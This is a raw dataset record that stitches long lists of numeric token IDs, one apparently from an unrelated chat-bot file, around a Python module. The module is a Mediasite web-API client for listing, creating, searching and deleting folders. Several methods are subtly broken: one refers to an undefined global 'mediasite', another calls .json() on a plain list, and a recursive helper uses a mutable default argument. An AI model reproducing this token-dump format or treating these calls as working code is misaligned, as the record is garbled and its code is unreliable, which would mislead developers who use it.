29901, 5785, 353, 29871, 29941, 29900, 29892, 13, 4706, 396, 9508, 29901, 851, 353, 376, 3549, 3869, 470, 1939, 613, 13, 4706, 396, 3611, 29901, 851, 353, 376, 18146, 14542, 625, 613, 13, 1678, 1723, 1599, 28379, 29961, 11227, 5387, 13, 4706, 9995, 29909, 808, 278, 1404, 304, 2828, 263, 2560, 22483, 470, 11698, 1213, 15945, 13, 4706, 9262, 353, 313, 26897, 29892, 12611, 29897, 13, 13, 4706, 396, 1583, 29889, 331, 29889, 8216, 353, 9508, 470, 376, 3549, 3869, 470, 1939, 29908, 13, 4706, 396, 7272, 1583, 29889, 2490, 580, 13, 4706, 396, 4417, 353, 1653, 29918, 7662, 29898, 1311, 29889, 1202, 29918, 4187, 7453, 29898, 21731, 876, 13, 4706, 396, 1583, 29889, 1202, 29918, 2042, 29898, 14032, 415, 29892, 3611, 29897, 13, 4706, 396, 7272, 1583, 29889, 2490, 580, 13, 4706, 4417, 29901, 9330, 353, 7272, 1583, 29889, 1202, 29918, 4187, 7453, 29898, 21731, 29897, 13, 13, 4706, 7348, 353, 313, 13, 9651, 7272, 830, 7387, 29889, 10685, 1454, 29898, 13, 18884, 1583, 29889, 4645, 29892, 13, 18884, 599, 29918, 3198, 29879, 29898, 13, 462, 1678, 830, 7387, 29889, 1609, 29918, 1792, 29898, 1311, 29889, 6207, 511, 830, 7387, 29889, 265, 29918, 4906, 29898, 1311, 29889, 7645, 29897, 13, 18884, 10353, 13, 18884, 11815, 29922, 2230, 29892, 13, 9651, 1723, 13, 4706, 1723, 29961, 29900, 29962, 13, 13, 4706, 7272, 4417, 13, 4706, 7272, 1583, 29889, 8551, 580, 13, 13, 4706, 565, 451, 7348, 29901, 13, 9651, 736, 6213, 13, 4706, 25342, 7348, 29889, 15810, 2397, 1275, 9659, 29901, 13, 9651, 736, 5852, 13, 4706, 25342, 7348, 29889, 15810, 2397, 1275, 12611, 29901, 13, 9651, 736, 7700, 13, 4706, 1683, 29901, 13, 9651, 736, 6213, 13, 13, 1678, 835, 349, 7466, 27888, 19510, 29936, 13764, 29979, 12413, 1122, 10049, 29889, 13, 13, 1678, 7465, 822, 679, 29918, 29886, 3028, 29898, 13, 4706, 1583, 29892, 13, 4706, 29111, 29901, 922, 3910, 29961, 29911, 29918, 1402, 13, 4706, 931, 29901, 938, 353, 29871, 29941, 29953, 29900, 29900, 29892, 13, 4706, 9508, 29901, 851, 353, 376, 3549, 3118, 470, 5853, 29901, 613, 13, 4706, 3611, 29901, 851, 353, 376, 29925, 3028, 613, 13, 1678, 1723, 1599, 360, 919, 29961, 29911, 3383, 938, 5387, 13, 4706, 9995, 6558, 263, 341, 8647, 5690, 1307, 5868, 29949, 12107, 1722, 21180, 393, 5019, 508, 1234, 1213, 15945, 13, 4706, 565, 451, 29871, 29896, 5277, 7431, 29898, 25707, 29897, 5277, 7431, 29898, 1026, 2153, 1125, 13, 9651, 736, 6571, 13, 13, 4706, 454, 517, 415, 353, 9657, 29898, 7554, 29898, 1026, 2153, 29892, 29111, 876, 13, 4706, 9262, 353, 1051, 29898, 280, 517, 415, 29897, 13, 4706, 437, 29918, 21720, 353, 451, 1583, 29889, 331, 29889, 21720, 322, 451, 1583, 29889, 331, 29889, 16394, 13, 13, 4706, 1583, 29889, 1202, 29918, 2042, 29898, 13, 9651, 6634, 29876, 1642, 7122, 29898, 13, 18884, 9704, 29898, 13, 462, 1678, 518, 14032, 415, 1402, 313, 29888, 29908, 29912, 15670, 6177, 23230, 3670, 10114, 29908, 363, 5497, 29892, 3523, 297, 454, 517, 415, 29889, 7076, 3101, 13, 18884, 1723, 13, 9651, 10353, 13, 9651, 3611, 29892, 13, 4706, 1723, 13, 4706, 565, 437, 29918, 21720, 29901, 13, 9651, 1583, 29889, 331, 29889, 842, 29918, 21720, 29898, 726, 543, 29925, 3028, 2796, 29879, 2564, 16394, 353, 11636, 29889, 329, 29883, 3707, 580, 718, 22599, 29898, 13, 18884, 6923, 29922, 2230, 13, 9651, 1723, 13, 13, 4706, 7272, 1583, 29889, 2490, 580, 13, 4706, 7272, 313, 20675, 1583, 29889, 1202, 29918, 4187, 7453, 29898, 21731, 876, 13, 4706, 7272, 8709, 29898, 2230, 29897, 13, 13, 4706, 1018, 29901, 13, 9651, 22419, 353, 7272, 1583, 29889, 12719, 29889, 9155, 29918, 4906, 29898, 1311, 29889, 7645, 29889, 333, 29897, 13, 4706, 5174, 29901, 13, 9651, 736, 6571, 13, 13, 4706, 21957, 353, 2302, 29918, 29894, 4769, 29898, 21731, 29892, 22419, 29889, 5638, 1953, 29897, 13, 4706, 7272, 1583, 29889, 8551, 580, 13, 13, 4706, 1583, 29889, 1202, 29918, 2042, 29898, 13, 9651, 6634, 29876, 1642, 7122, 703, 29912, 6177, 3579, 8875, 1068, 1642, 4830, 29898, 280, 517, 415, 29889, 657, 29898, 29895, 511, 325, 29897, 363, 413, 29892, 325, 297, 21957, 29889, 7076, 3101, 13, 4706, 1723, 13, 4706, 565, 437, 29918, 21720, 29901, 13, 9651, 1583, 29889, 331, 29889, 842, 29918, 21720, 29898, 726, 543, 2564, 16394, 353, 2812, 2580, 29889, 8915, 13, 13, 4706, 7272, 1583, 29889, 2490, 580, 13, 13, 4706, 736, 21957, 13, 13, 1678, 7465, 822, 679, 29918, 15814, 29898, 1311, 29892, 931, 29901, 938, 353, 29871, 29941, 29953, 29900, 29900, 29897, 1599, 360, 919, 29961, 11227, 29892, 938, 5387, 13, 4706, 9995, 6558, 263, 22483, 6323, 11698, 1722, 11719, 393, 5019, 508, 1234, 1213, 15945, 13, 4706, 9262, 353, 313, 26897, 29892, 12611, 29897, 13, 4706, 437, 29918, 21720, 353, 451, 1583, 29889, 331, 29889, 21720, 322, 451, 1583, 29889, 331, 29889, 16394, 13, 13, 4706, 565, 437, 29918, 21720, 29901, 13, 9651, 1583, 29889, 331, 29889, 842, 29918, 21720, 29898, 726, 543, 29963, 866, 2796, 29879, 2564, 16394, 353, 11636, 29889, 329, 29883, 3707, 580, 718, 22599, 29898, 13, 18884, 6923, 29922, 2230, 13, 9651, 1723, 13, 13, 4706, 7272, 1583, 29889, 2490, 580, 13, 4706, 7272, 313, 20675, 1583, 29889, 1202, 29918, 4187, 7453, 29898, 21731, 876, 13, 4706, 7272, 8709, 29898, 2230, 29897, 13, 13, 4706, 1018, 29901, 13, 9651, 22419, 353, 7272, 1583, 29889, 12719, 29889, 9155, 29918, 4906, 29898, 1311, 29889, 7645, 29889, 333, 29897, 13, 4706, 5174, 29901, 13, 9651, 736, 6571, 13, 13, 4706, 21957, 353, 2302, 29918, 29894, 4769, 29898, 21731, 29892, 22419, 29889, 5638, 1953, 29897, 13, 4706, 7272, 1583, 29889, 8551, 580, 13, 13, 4706, 1855, 353, 426, 5574, 29901, 21957, 29889, 657, 29898, 26897, 29892, 29871, 29900, 511, 7700, 29901, 21957, 29889, 657, 29898, 20713, 29892, 29871, 29900, 2915, 13, 13, 4706, 1583, 29889, 1202, 29918, 2042, 29898, 13, 9651, 6634, 29876, 1642, 7122, 29898, 13, 18884, 376, 1068, 8875, 1068, 29901, 3579, 8875, 1068, 1642, 4830, 703, 8241, 29908, 565, 413, 1683, 376, 3782, 613, 325, 29897, 13, 18884, 363, 413, 29892, 325, 297, 1855, 29889, 7076, 580, 13, 9651, 1723, 13, 4706, 1723, 13, 4706, 565, 437, 29918, 21720, 29901, 13, 9651, 1583, 29889, 331, 29889, 842, 29918, 21720, 29898, 726, 543, 2564, 16394, 353, 2812, 2580, 29889, 8915, 13, 13, 4706, 7272, 1583, 29889, 2490, 580, 13, 13, 4706, 736, 1855, 13, 13, 13, 12674, 822, 9659, 29918, 2467, 29898, 13, 1678, 3132, 29892, 4765, 29901, 7777, 29892, 3611, 29901, 851, 29892, 5153, 29901, 851, 29892, 11815, 29901, 938, 353, 29871, 29941, 29900, 13, 29897, 1599, 28379, 29961, 11227, 5387, 13, 1678, 4148, 29901, 4911, 353, 4765, 29889, 8921, 13, 1678, 8242, 29901, 3992, 13599, 353, 4765, 29889, 12719, 13, 13, 1678, 286, 353, 20019, 29898, 4645, 29892, 8242, 29892, 3611, 29892, 5153, 29892, 4148, 29897, 13, 1678, 736, 7272, 286, 29889, 657, 29918, 11227, 29898, 15619, 29897, 13, 2 ]
assets/mediasite/modules/folder.py
UbiCastTeam/mediasite_client
0
1616469
<reponame>UbiCastTeam/mediasite_client<filename>assets/mediasite/modules/folder.py """ Mediasite client class for folder-sepcific actions Last modified: December 2020 By: <NAME> License: MIT - see license.txt """ import logging class folder(): def __init__(self, mediasite, *args, **kwargs): self.mediasite = mediasite self.root_folder_id = self.get_root_folder_id() self.folders = list() def gather_folders(self, parent_id=None): """ Gathers mediasite child folder name, ID, and parent ID listing from mediasite system based on provided parent mediasite folder ID params: parent_id: mediasite parent folder ID for use as a reference point in this function returns: list of dictionary items containing child mediasite folder names, ID's, and parent folder ID's """ if not parent_id: parent_id = self.root_folder_id ms_folders = [] logging.info("Gathering Mediasite folders") #request existing (non-recycled) mediasite folder information based on parent folder ID provided to function query_params = f"$filter=ParentFolderId eq '{parent_id}' and Recycled eq false" result = self.mediasite.api_client.request("get", "Folders", query_params) if self.mediasite.experienced_request_errors(result): return result else: #for each item in the result create a dictionary with name, ID, and parent ID elements for reference for folder in result.json()["value"]: ms_folders.append({ "name": folder["Name"], "id": folder["Id"], "parent_id": folder["ParentFolderId"] }) #add the listing of folder data to the model for later use self.mediasite.model.set_folders(ms_folders, parent_id) return ms_folders def get_root_folder_id(self): """ Gathers mediasite root folder ID for use with other functions. Note: finding the root folder ID is somewhat of a workaround as normal requests for the "Mediasite" root folder do not appear to yield any data. The "Mediasite Users" folder appears as a standard folder on most installations and therefore serves as a reference point to determine the root folder. This may need to change in the future based on Mediasite version default changes. returns: the parent ID of the mediasite "Mediasite Users" folder """ logging.info("Gathering Mediasite root folder id") #request mediasite folder information on the "Mediasite Users" folder result = self.mediasite.api_client.request("get", "Folders", "$filter=Name eq 'Mediasite Users' and Recycled eq false") if self.mediasite.experienced_request_errors(result): return result else: #return the parent ID of the mediasite "Mediasite Users" folder self.mediasite.model.set_root_parent_folder_id(result.json()["value"][0]["ParentFolderId"]) return result.json()["value"][0]["ParentFolderId"] def create_folder(self, folder_name, parent_id): """ Creates mediasite folder based on provided name and parent folder ID params: folder_name: name desired for the new mediasite folder parent_id: mediasite parent folder ID for use as a reference point in this function returns: resulting response from the mediasite web api request for folder data """ folder_search_result = self.find_folder_by_name_and_parent_id(folder_name, parent_id) if int(folder_search_result["odata.count"]) > 0: logging.info("Found existing folder '"+folder_name+"' under parent "+parent_id) return folder_search_result["value"][0] logging.info("Creating folder '"+folder_name+"' under parent "+parent_id) #prepare post data for use in creating the folder post_data = {"Name":folder_name, "Description":"", "ParentFolderId":parent_id } #make the mediasite request using the post data found above to create the folder result = self.mediasite.api_client.request("post", "Folders", "", post_data).json() if self.mediasite.experienced_request_errors(result): return result else: #if there is an error, log it if "odata.error" in result: logging.error(result["odata.error"]["code"]+": "+result["odata.error"]["message"]["value"]) return result def find_folder_by_name_and_parent_id(self, folder_name, parent_id=""): """ Finds mediasite folder based on provided name and parent folder ID params: folder_name: name desired for the new mediasite folder parent_id: mediasite parent folder ID for use as a reference point in this function returns: resulting response from the mediasite web api request to find the folder """ logging.info("Searching for folder '"+folder_name+"' under parent "+parent_id) if parent_id == "": parent_id = self.mediasite.model.get_root_parent_folder_id() #make the mediasite request using the post data found above to create the folder result = self.mediasite.api_client.request("get", "Folders", "$filter=Name eq '"+folder_name+"' and ParentFolderId eq '"+parent_id+"' and Recycled eq false", "").json() if self.mediasite.experienced_request_errors(result): return result else: #if there is an error, log it if "odata.error" in result: logging.error(result["odata.error"]["code"]+": "+result["odata.error"]["message"]["value"]) return result def find_recycled_folder_by_name_and_parent_id(self, folder_name, parent_id): """ Finds mediasite folder based on provided name and parent folder ID params: folder_name: name desired for the new mediasite folder parent_id: mediasite parent folder ID for use as a reference point in this function returns: resulting response from the mediasite web api request to find the folder """ logging.info("Searching for recycled folder '"+folder_name+"' under parent "+parent_id) #make the mediasite request using the post data found above to create the folder result = self.mediasite.api_client.request("get", "Folders", "$filter=Name eq '"+folder_name+"' and ParentFolderId eq '"+parent_id+"'and Recycled eq true", "").json() if self.mediasite.experienced_request_errors(result): return result else: #if there is an error, log it if "odata.error" in result: logging.error(result["odata.error"]["code"]+": "+result["odata.error"]["message"]["value"]) return result def get_presentations_and_schedules_by_parent_folder_name(self, folder_name): """ Gathers schedules and presentations found under one parent folder, searching each child folder underneath params: folder_name: name of the mediasite folder returns: details of schedules and presentations found within mediasite folder """ folder = mediasite.folder.get_folder_by_name(folder_name) if int(folder.json()["odata.count"]) > 0: parent_id = folder.json()["value"][0]["Id"] child_folders = mediasite.folder.get_child_folders(parent_id) child_folders.append(folder.json()["value"][0]) presentations = [] schedules = [] for folder in child_folders: presentations_result = mediasite.folder.get_folder_presentations(folder["Id"]) [presentations.append(presentation) for presentation in presentations_result.json()["value"]] schedules_result = mediasite.folder.get_folder_schedules(folder["Id"]) print(schedules_result.json()) [schedules.append(schedule) for schedule in schedules_result.json()["value"]] return presentations, schedules def get_folder_schedules(self, parent_id): """ Gathers schedules found under mediasite folder given folder's id params: parent_id: id of mediasite folder returns: details of schedules found within mediasite folder Note: this makes use of the "schedules" Mediasite API calls as no related "folders" call exists at this time. """ logging.info("Finding Mediasite presentations under parent: "+parent_id) result = self.mediasite.api_client.request("get", "Schedules", "$top=100&$filter=FolderId eq '"+parent_id+"'","") if self.mediasite.experienced_request_errors(result): return result else: return result def get_folder_presentations(self, parent_id): """ Gathers presentations found under mediasite folder given folder's id params: parent_id: id of mediasite folder all_data: having all web api response returns: details of presentations found within mediasite folder, only id, title, and owner if all_data is disabled """ logging.debug("Finding Mediasite presentations under parent: " + parent_id) increment = 50 folder_presentations = [] next_page = f'$select=full&$skip=0&$top={increment}' while next_page: result = self.mediasite.api_client.request("get", f"Folders(\'{parent_id}\')/Presentations", next_page) if not self.mediasite.experienced_request_errors(result): result = result.json() data = result['value'] folder_presentations.extend(data) next_link = result.get('odata.nextLink') next_page = next_link.split('?')[-1] if next_link else None return folder_presentations def get_folder_catalogs(self, parent_id): """ Gathers presentations found under mediasite folder given folder's id params: parent_id: id of mediasite folder returns: details of presentations found within mediasite folder """ logging.info(f'Finding Mediasite catalogs under folder parent: {parent_id}') data = list() next_page = f"$top=600&$filter=LinkedFolderId eq '{parent_id}'" result = self.mediasite.api_client.request("get", "Catalogs", next_page) next_page = str() if not self.mediasite.experienced_request_errors(result): result = result.json() data.extend(result.get('value')) next_page = result.get('odata.nextLink') while next_page: result = self.mediasite.api_client.request("get", "Catalogs", next_page) if not self.mediasite.experienced_request_errors(result): result = result.json() data.extend(result.get('value')) next_page = result.get('odata.nextLink') return data def get_child_folders(self, parent_id, child_result=[]): """ Gathers mediasite child folders given parent id of a folder params: parent_id: id of mediasite folder returns: list of child folder id's associated with the given parent folder id """ logging.debug("Finding child Mediasite folders under parent: "+parent_id) result = self.mediasite.api_client.request("get", "Folders", "$top=100&$filter=ParentFolderId eq '"+parent_id+"' and Recycled eq false","") if self.mediasite.experienced_request_errors(result) or int(result.json()["odata.count"]) <= 0: return result else: for folder in result.json()["value"]: child_result.append(folder) self.get_child_folders(folder["Id"], child_result) return child_result def get_folder_by_name(self, folder_name): """ Gathers folder information given folder name within mediasite params: folder_name: name of folder which is to be found by name returns: the parent ID of the mediasite "Mediasite Users" folder """ logging.info("Finding Mediasite folder information with name of: "+folder_name) result = self.mediasite.api_client.request("get", "Folders", "$filter=Name eq '"+folder_name+"' and Recycled eq false","").json() if self.mediasite.experienced_request_errors(result): return result else: return result def get_folder_by_id(self, folder_id): """ Gathers folder information given folder name within mediasite params: folder_name: name of folder which is to be found by name returns: the parent ID of the mediasite "Mediasite Users" folder """ logging.info("Finding Mediasite folder information with id of: "+folder_id) result = self.mediasite.api_client.request("get", "Folders('"+folder_id+"')", "", "","").json() if self.mediasite.experienced_request_errors(result): return result else: return result def get_all_folders(self, max_folders=None): """ Gathers all mediasite folders name, ID, and parent ID listing from mediasite system returns: list of dictionary items containing mediasite folder names, owner, ID's and parent folder ID's """ logging.info("Gathering all Mediasite folders") if not self.folders: increment = 1000 folders = [] next_page = f'$skip=0&$top={increment}&$select=full' while next_page: result = self.mediasite.api_client.request('get', 'Folders', next_page) if not self.mediasite.experienced_request_errors(result): result = result.json() folder = result['value'] folders.extend(folder) next_link = result.get('odata.nextLink') next_page = next_link.split('?')[-1] if next_link else None if max_folders and len(folders) > int(max_folders): break self.mediasite.model.set_folders(folders) self.folders = folders return self.folders def parse_and_create_folders(self, folders, parent_id=""): """ Parse the provided path of folders in the GUI, delimeted by "/" and create each under the selected existing root folder within mediasite. params: folders: string containing multiple folders split by "/" parent_id: mediasite parent folder ID for use as a reference point in this function returns: final mediasite folder id (lowest level folder) """ if parent_id == "": parent_id = self.mediasite.model.get_root_parent_folder_id() folders_list = folders.split("/") #loop through our folders list creating each folder using the parent of the last for folder in folders_list: if folder != "": result = self.create_folder(folder, parent_id) if "Id" in result: parent_id = result["Id"] else: break return parent_id def delete_folder(self, folder_id): """ Deletes folder based on folder guid id provided as argument params: folder_id: guid of folder to delete returns: response from mediasite system """ logging.info("Deleting mediasite folder with guid of: "+folder_id) result = self.mediasite.api_client.request("post", "Folders('"+folder_id+"')/DeleteFolder", "",{}) if self.mediasite.experienced_request_errors(result): return result else: return result def delete_folder_by_path(self, folder_path): """ Deletes parent folder including potentially many child folder or sub-elements params: folder_path: mediasite management portal folder path, for ex "/Current/Spring 2018/Test" returns: response from mediasite system """ parent_id = "" #for each folder found in provided path, find it by name and parent folder guid for folder_name in folder_path.split("/")[1:]: result = self.mediasite.folder.find_folder_by_name_and_parent_id(folder_name, parent_id) if int(result["odata.count"]) > 0: for item in result["value"]: if item["Name"] == folder_name: parent_id = item["Id"] else: #if we don't find one of the folders in the provided path, return to stop this function from continuing logging.error("Unable to find folder in provided path: "+folder_name) return #remove "recorded" presentations and schedules as these can prevent folders from being deleted child_folders = self.mediasite.folder.get_child_folders(parent_id) child_folders.append({"Id":parent_id}) #gather catalogs as these will be needed later self.mediasite.catalog.get_all_catalogs() catalogs = self.mediasite.model.get_catalogs() for folder in child_folders: folder_presentations = self.mediasite.folder.get_folder_presentations(folder["Id"]) #presentation loop to remove presentations with a status of "Recorded" or "Record" folder_presentations_json = folder_presentations.json() if int(folder_presentations_json["odata.count"]) > 0: for presentation in folder_presentations_json["value"]: print(presentation["Status"]) #if presentation["Status"] == "Recorded" or presentation["Status"] == "Record": logging.info("Deleting presentation "+presentation["Title"]+" to ensure capability to delete parent folder(s).") delete_result = self.mediasite.presentation.delete_presentation(presentation["Id"]) #schedule loop to remove schedules folder_schedules = self.mediasite.folder.get_folder_schedules(folder["Id"]) folder_schedules_json = folder_schedules.json() if int(folder_schedules_json["odata.count"]) > 0: for schedule in folder_schedules_json["value"]: logging.info("Deleting schedule "+ schedule["Name"]+" to ensure capability to delete parent folder(s).") delete_result = self.mediasite.schedule.delete_schedule(schedule["Id"]) for catalog in catalogs: if catalog["LinkedFolderId"] == folder["Id"]: logging.info("Deleting catalog "+catalog["Id"]+" to ensure capability to delete parent folder(s).") self.mediasite.catalog.delete_catalog(catalog["Id"]) result = self.mediasite.folder.delete_folder(folder["Id"]) job_result = self.mediasite.wait_for_job_to_complete(result.json()["odata.id"]) result = self.mediasite.folder.delete_folder(parent_id) job_result = self.mediasite.wait_for_job_to_complete(result.json()["odata.id"]) #note: this appears to be the only way with these particular jobs to determine a successful run (despite actual message contents) if job_result: if job_result["odata.error"]["message"]["value"] == "The job completion state is missing.": logging.info("Successfully deleted folder(s) and related items. Note: folder and some items will remain in recycling bin until further action is taken.")
[ 1, 529, 276, 1112, 420, 29958, 29965, 5365, 15738, 19409, 29914, 2168, 3173, 568, 29918, 4645, 29966, 9507, 29958, 16596, 29914, 2168, 3173, 568, 29914, 7576, 29914, 12083, 29889, 2272, 13, 15945, 19451, 13, 19302, 3173, 568, 3132, 770, 363, 4138, 29899, 344, 6739, 928, 8820, 30004, 13, 30004, 13, 8897, 9120, 29901, 5846, 29871, 29906, 29900, 29906, 29900, 30004, 13, 2059, 29901, 529, 5813, 3238, 13, 30004, 13, 29931, 293, 1947, 29901, 341, 1806, 448, 1074, 19405, 29889, 3945, 30004, 13, 15945, 19451, 13, 30004, 13, 5215, 12183, 30004, 13, 30004, 13, 30004, 13, 1990, 4138, 7295, 30004, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 1612, 3173, 568, 29892, 334, 5085, 29892, 3579, 19290, 1125, 30004, 13, 4706, 1583, 29889, 2168, 3173, 568, 353, 1612, 3173, 568, 30004, 13, 4706, 1583, 29889, 4632, 29918, 12083, 29918, 333, 353, 1583, 29889, 657, 29918, 4632, 29918, 12083, 29918, 333, 26471, 13, 4706, 1583, 29889, 8771, 414, 353, 1051, 26471, 13, 30004, 13, 1678, 822, 11705, 29918, 8771, 414, 29898, 1311, 29892, 3847, 29918, 333, 29922, 8516, 1125, 30004, 13, 4706, 9995, 30004, 13, 4706, 402, 19467, 1612, 3173, 568, 2278, 4138, 1024, 29892, 3553, 29892, 322, 3847, 3553, 18028, 515, 1612, 3173, 568, 1788, 30004, 13, 4706, 2729, 373, 4944, 3847, 1612, 3173, 568, 4138, 3553, 30004, 13, 30004, 13, 4706, 8636, 29901, 30004, 13, 9651, 3847, 29918, 333, 29901, 1612, 3173, 568, 3847, 4138, 3553, 363, 671, 408, 263, 3407, 1298, 297, 445, 740, 30004, 13, 30004, 13, 4706, 3639, 29901, 30004, 13, 9651, 1051, 310, 8600, 4452, 6943, 2278, 1612, 3173, 568, 4138, 2983, 29892, 3553, 29915, 29879, 29892, 322, 3847, 4138, 3553, 29915, 29879, 30004, 13, 4706, 9995, 30004, 13, 30004, 13, 4706, 565, 451, 3847, 29918, 333, 29901, 30004, 13, 9651, 3847, 29918, 333, 353, 1583, 29889, 4632, 29918, 12083, 29918, 333, 30004, 13, 30004, 13, 4706, 10887, 29918, 8771, 414, 353, 5159, 30004, 13, 30004, 13, 4706, 12183, 29889, 3888, 703, 29954, 1624, 292, 3436, 3173, 568, 16495, 1159, 30004, 13, 30004, 13, 4706, 396, 3827, 5923, 313, 5464, 29899, 276, 8798, 839, 29897, 1612, 3173, 568, 4138, 2472, 2729, 373, 3847, 4138, 3553, 4944, 304, 740, 30004, 13, 4706, 2346, 29918, 7529, 353, 285, 29908, 29938, 4572, 29922, 9780, 12924, 1204, 11594, 22372, 3560, 29918, 333, 10162, 322, 3599, 11078, 839, 11594, 2089, 19451, 13, 4706, 1121, 353, 1583, 29889, 2168, 3173, 568, 29889, 2754, 29918, 4645, 29889, 3827, 703, 657, 613, 376, 29943, 1025, 414, 613, 2346, 29918, 7529, 8443, 13, 4706, 565, 1583, 29889, 2168, 3173, 568, 29889, 735, 546, 819, 1133, 29918, 3827, 29918, 12523, 29898, 2914, 1125, 30004, 13, 9651, 736, 1121, 30004, 13, 4706, 1683, 29901, 30004, 13, 9651, 396, 1454, 1269, 2944, 297, 278, 1121, 1653, 263, 8600, 411, 1024, 29892, 3553, 29892, 322, 3847, 3553, 3161, 363, 3407, 30004, 13, 9651, 363, 4138, 297, 1121, 29889, 3126, 580, 3366, 1767, 3108, 29901, 30004, 13, 18884, 10887, 29918, 8771, 414, 29889, 4397, 3319, 30004, 13, 462, 1678, 376, 978, 1115, 4138, 3366, 1170, 12436, 30004, 13, 462, 1678, 376, 333, 1115, 4138, 3366, 1204, 12436, 30004, 13, 462, 1678, 376, 3560, 29918, 333, 1115, 4138, 3366, 9780, 12924, 1204, 3108, 30004, 13, 18884, 5615, 30004, 13, 30004, 13, 9651, 396, 1202, 278, 18028, 310, 4138, 848, 304, 278, 1904, 363, 2678, 671, 30004, 13, 9651, 1583, 29889, 2168, 3173, 568, 29889, 4299, 29889, 842, 29918, 8771, 414, 29898, 1516, 29918, 8771, 414, 29892, 3847, 29918, 333, 8443, 13, 30004, 13, 9651, 736, 10887, 29918, 8771, 414, 30004, 13, 30004, 13, 1678, 822, 679, 29918, 4632, 29918, 12083, 29918, 333, 29898, 1311, 1125, 30004, 13, 4706, 9995, 30004, 13, 4706, 402, 19467, 1612, 3173, 568, 3876, 4138, 3553, 363, 671, 411, 916, 3168, 22993, 13, 30004, 13, 4706, 3940, 29901, 9138, 278, 3876, 4138, 3553, 338, 10579, 310, 263, 14725, 408, 4226, 7274, 363, 278, 376, 19302, 3173, 568, 29908, 3876, 4138, 30004, 13, 4706, 437, 451, 2615, 304, 7709, 738, 848, 29889, 450, 376, 19302, 3173, 568, 23861, 29908, 4138, 5692, 408, 263, 3918, 4138, 373, 1556, 2601, 800, 30004, 13, 4706, 322, 5480, 19700, 408, 263, 3407, 1298, 304, 8161, 278, 3876, 4138, 29889, 910, 1122, 817, 304, 1735, 297, 278, 5434, 2729, 30004, 13, 4706, 373, 3436, 3173, 568, 1873, 2322, 3620, 22993, 13, 30004, 13, 4706, 3639, 29901, 30004, 13, 9651, 278, 3847, 3553, 310, 278, 1612, 3173, 568, 376, 19302, 3173, 568, 23861, 29908, 4138, 30004, 13, 4706, 9995, 30004, 13, 30004, 13, 4706, 12183, 29889, 3888, 703, 29954, 1624, 292, 3436, 3173, 568, 3876, 4138, 1178, 1159, 30004, 13, 30004, 13, 4706, 396, 3827, 1612, 3173, 568, 4138, 2472, 373, 278, 376, 19302, 3173, 568, 23861, 29908, 4138, 30004, 13, 4706, 1121, 353, 1583, 29889, 2168, 3173, 568, 29889, 2754, 29918, 4645, 29889, 3827, 703, 657, 613, 376, 29943, 1025, 414, 613, 3908, 4572, 29922, 1170, 11594, 525, 19302, 3173, 568, 23861, 29915, 322, 3599, 11078, 839, 11594, 2089, 1159, 30004, 13, 30004, 13, 4706, 565, 1583, 29889, 2168, 3173, 568, 29889, 735, 546, 819, 1133, 29918, 3827, 29918, 12523, 29898, 2914, 1125, 30004, 13, 9651, 736, 1121, 30004, 13, 4706, 1683, 29901, 30004, 13, 9651, 396, 2457, 278, 3847, 3553, 310, 278, 1612, 3173, 568, 376, 19302, 3173, 568, 23861, 29908, 4138, 30004, 13, 9651, 1583, 29889, 2168, 3173, 568, 29889, 4299, 29889, 842, 29918, 4632, 29918, 3560, 29918, 12083, 29918, 333, 29898, 2914, 29889, 3126, 580, 3366, 1767, 3108, 29961, 29900, 29962, 3366, 9780, 12924, 1204, 20068, 30004, 13, 9651, 736, 1121, 29889, 3126, 580, 3366, 1767, 3108, 29961, 29900, 29962, 3366, 9780, 12924, 1204, 3108, 30004, 13, 30004, 13, 1678, 822, 1653, 29918, 12083, 29898, 1311, 29892, 4138, 29918, 978, 29892, 3847, 29918, 333, 1125, 30004, 13, 4706, 9995, 30004, 13, 4706, 6760, 1078, 1612, 3173, 568, 4138, 2729, 373, 4944, 1024, 322, 3847, 4138, 3553, 30004, 13, 30004, 13, 4706, 8636, 29901, 30004, 13, 9651, 4138, 29918, 978, 29901, 1024, 7429, 363, 278, 716, 1612, 3173, 568, 4138, 30004, 13, 9651, 3847, 29918, 333, 29901, 1612, 3173, 568, 3847, 4138, 3553, 363, 671, 408, 263, 3407, 1298, 297, 445, 740, 30004, 13, 30004, 13, 4706, 3639, 29901, 30004, 13, 9651, 9819, 2933, 515, 278, 1612, 3173, 568, 1856, 7882, 2009, 363, 4138, 848, 30004, 13, 4706, 9995, 30004, 13, 30004, 13, 4706, 4138, 29918, 4478, 29918, 2914, 353, 1583, 29889, 2886, 29918, 12083, 29918, 1609, 29918, 978, 29918, 392, 29918, 3560, 29918, 333, 29898, 12083, 29918, 978, 29892, 3847, 29918, 333, 8443, 13, 30004, 13, 4706, 565, 938, 29898, 12083, 29918, 4478, 29918, 2914, 3366, 397, 532, 29889, 2798, 20068, 1405, 29871, 29900, 29901, 30004, 13, 9651, 12183, 29889, 3888, 703, 9692, 5923, 4138, 525, 17969, 12083, 29918, 978, 13578, 29915, 1090, 3847, 15691, 3560, 29918, 333, 8443, 13, 9651, 736, 4138, 29918, 4478, 29918, 2914, 3366, 1767, 3108, 29961, 29900, 29962, 30004, 13, 30004, 13, 4706, 12183, 29889, 3888, 703, 9832, 1218, 4138, 525, 17969, 12083, 29918, 978, 13578, 29915, 1090, 3847, 15691, 3560, 29918, 333, 8443, 13, 30004, 13, 4706, 396, 19125, 1400, 848, 363, 671, 297, 4969, 278, 4138, 30004, 13, 4706, 1400, 29918, 1272, 353, 8853, 1170, 1115, 12083, 29918, 978, 11167, 13, 462, 1678, 376, 9868, 4710, 15231, 13, 462, 1678, 376, 9780, 12924, 1204, 1115, 3560, 29918, 333, 30004, 13, 462, 1678, 4970, 13, 30004, 13, 4706, 396, 5675, 278, 1612, 3173, 568, 2009, 773, 278, 1400, 848, 1476, 2038, 304, 1653, 278, 4138, 30004, 13, 4706, 1121, 353, 1583, 29889, 2168, 3173, 568, 29889, 2754, 29918, 4645, 29889, 3827, 703, 2490, 613, 376, 29943, 1025, 414, 613, 12633, 1400, 29918, 1272, 467, 3126, 26471, 13, 30004, 13, 4706, 565, 1583, 29889, 2168, 3173, 568, 29889, 735, 546, 819, 1133, 29918, 3827, 29918, 12523, 29898, 2914, 1125, 30004, 13, 9651, 736, 1121, 30004, 13, 4706, 1683, 29901, 30004, 13, 9651, 396, 361, 727, 338, 385, 1059, 29892, 1480, 372, 30004, 13, 9651, 565, 376, 397, 532, 29889, 2704, 29908, 297, 1121, 29901, 30004, 13, 18884, 12183, 29889, 2704, 29898, 2914, 3366, 397, 532, 29889, 2704, 3108, 3366, 401, 3108, 29974, 1115, 15691, 2914, 3366, 397, 532, 29889, 2704, 3108, 